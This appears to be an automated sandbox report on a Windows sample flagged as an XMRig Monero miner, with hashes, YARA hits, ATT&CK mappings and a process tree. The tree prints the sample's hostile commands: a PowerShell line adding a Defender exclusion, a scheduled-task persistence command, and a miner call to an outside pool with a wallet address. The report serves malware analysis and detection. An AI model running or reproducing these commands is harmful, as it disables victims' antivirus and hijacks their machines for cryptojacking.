xmrig | 0f1f360e32236b3af68ae241d8604a202c3de6d93603163d2af21364263fceb7

General

Target

file.exe
Size

1.9MB
MD5

d1949ae00330d3c0f7cc282d2f6952cc
SHA1

f94a50cdd1aff1fe2f7f4135647df2a680ac3e79
SHA256

0f1f360e32236b3af68ae241d8604a202c3de6d93603163d2af21364263fceb7
SHA512

0f1499ee262e56c4771490fee60c4d76ba8625b6b5004ca73be437c6f17e5a358237c03fc78da07c6a7043ef52252f73cdadd4635c5eef38dbe5cc3fd36b2730
SSDEEP

24576:Nx2pKMUGjuNYmUeV5CMl307hOhkMIIj0VOyp2VmmBgbc2vLmmsanDJY++JyBBT9:Nx4U2mV6MV28m9vF2/2c29YjyBBx

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/2832-159-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2832-160-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/2832-161-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2832-162-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2832-164-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2832-166-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

.NET Reactor proctector 1 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/memory/1960-142-0x0000000000080000-0x000000000025E000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	file.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1960 set thread context of 2832	1960	file.exe	91

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
3988	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1960	file.exe
1960	file.exe
4836	powershell.exe
4836	powershell.exe
1960	file.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
664	Process not Found

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1960	file.exe
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeLockMemoryPrivilege	2832	vbc.exe
Token: SeLockMemoryPrivilege	2832	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2832	vbc.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1960 wrote to memory of 4836	1960	file.exe	79
PID 1960 wrote to memory of 4836	1960	file.exe	79
PID 1960 wrote to memory of 1640	1960	file.exe	87
PID 1960 wrote to memory of 1640	1960	file.exe	87
PID 1640 wrote to memory of 3988	1640	cmd.exe	89
PID 1640 wrote to memory of 3988	1640	cmd.exe	89
PID 1960 wrote to memory of 2832	1960	file.exe	91
PID 1960 wrote to memory of 2832	1960	file.exe	91
PID 1960 wrote to memory of 2832	1960	file.exe	91
PID 1960 wrote to memory of 2832	1960	file.exe	91
PID 1960 wrote to memory of 2832	1960	file.exe	91
PID 1960 wrote to memory of 2832	1960	file.exe	91
PID 1960 wrote to memory of 2832	1960	file.exe	91
PID 1960 wrote to memory of 2832	1960	file.exe	91
PID 1960 wrote to memory of 2832	1960	file.exe	91
PID 1960 wrote to memory of 2832	1960	file.exe	91
PID 1960 wrote to memory of 2832	1960	file.exe	91
PID 1960 wrote to memory of 2832	1960	file.exe	91
PID 1960 wrote to memory of 2832	1960	file.exe	91
PID 1960 wrote to memory of 2832	1960	file.exe	91

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "XORES" /tr "C:\ProgramData\Review\XORES.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "XORES" /tr "C:\ProgramData\Review\XORES.exe"
    3⤵
    - Creates scheduled task(s)
    PID:3988
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2832

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Scripting

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1960-151-0x0000000002C40000-0x0000000002C83000-memory.dmp

Filesize
268KB

Download
memory/1960-134-0x00007FF910940000-0x00007FF9109DE000-memory.dmp

Filesize
632KB

Download
memory/1960-136-0x00007FF8F3BC0000-0x00007FF8F3C7D000-memory.dmp

Filesize
756KB

Download
memory/1960-137-0x00007FF910670000-0x00007FF910811000-memory.dmp

Filesize
1.6MB

Download
memory/1960-139-0x0000000000080000-0x000000000025E000-memory.dmp

Filesize
1.9MB

Download
memory/1960-158-0x00007FF90DC40000-0x00007FF90DC7B000-memory.dmp

Filesize
236KB

Download
memory/1960-138-0x00007FF8F3C80000-0x00007FF8F4741000-memory.dmp

Filesize
10.8MB

Download
memory/1960-141-0x00007FF90F430000-0x00007FF90F45B000-memory.dmp

Filesize
172KB

Download
memory/1960-142-0x0000000000080000-0x000000000025E000-memory.dmp

Filesize
1.9MB

Download
memory/1960-143-0x00007FF8F2470000-0x00007FF8F25BE000-memory.dmp

Filesize
1.3MB

Download
memory/1960-144-0x00007FF8F3C80000-0x00007FF8F4741000-memory.dmp

Filesize
10.8MB

Download
memory/1960-145-0x00007FF90E870000-0x00007FF90E897000-memory.dmp

Filesize
156KB

Download
memory/1960-157-0x00007FF9108D0000-0x00007FF91093B000-memory.dmp

Filesize
428KB

Download
memory/1960-156-0x00007FF8EDBF0000-0x00007FF8EDCF2000-memory.dmp

Filesize
1.0MB

Download
memory/1960-155-0x00007FF8EDBB0000-0x00007FF8EDBE5000-memory.dmp

Filesize
212KB

Download
memory/1960-140-0x0000000002C40000-0x0000000002C83000-memory.dmp

Filesize
268KB

Download
memory/1960-150-0x0000000000080000-0x000000000025E000-memory.dmp

Filesize
1.9MB

Download
memory/1960-133-0x00007FF8F4750000-0x00007FF8F47FA000-memory.dmp

Filesize
680KB

Download
memory/1960-135-0x00007FF90C790000-0x00007FF90C7A2000-memory.dmp

Filesize
72KB

Download
memory/1960-152-0x00007FF8F3C80000-0x00007FF8F4741000-memory.dmp

Filesize
10.8MB

Download
memory/2832-166-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2832-162-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2832-170-0x00000281E3FF0000-0x00000281E4010000-memory.dmp

Filesize
128KB

Download
memory/2832-169-0x00000281E3FD0000-0x00000281E3FF0000-memory.dmp

Filesize
128KB

Download
memory/2832-168-0x00000281E3FF0000-0x00000281E4010000-memory.dmp

Filesize
128KB

Download
memory/2832-159-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2832-167-0x00000281E3FD0000-0x00000281E3FF0000-memory.dmp

Filesize
128KB

Download
memory/2832-161-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2832-164-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/2832-163-0x00000281E2580000-0x00000281E25A0000-memory.dmp

Filesize
128KB

Download
memory/2832-165-0x00000281E3F70000-0x00000281E3FB0000-memory.dmp

Filesize
256KB

Download
memory/4836-148-0x00007FF8F3C80000-0x00007FF8F4741000-memory.dmp

Filesize
10.8MB

Download
memory/4836-149-0x00007FF8F3C80000-0x00007FF8F4741000-memory.dmp

Filesize
10.8MB

Download
memory/4836-147-0x0000021D59850000-0x0000021D59872000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads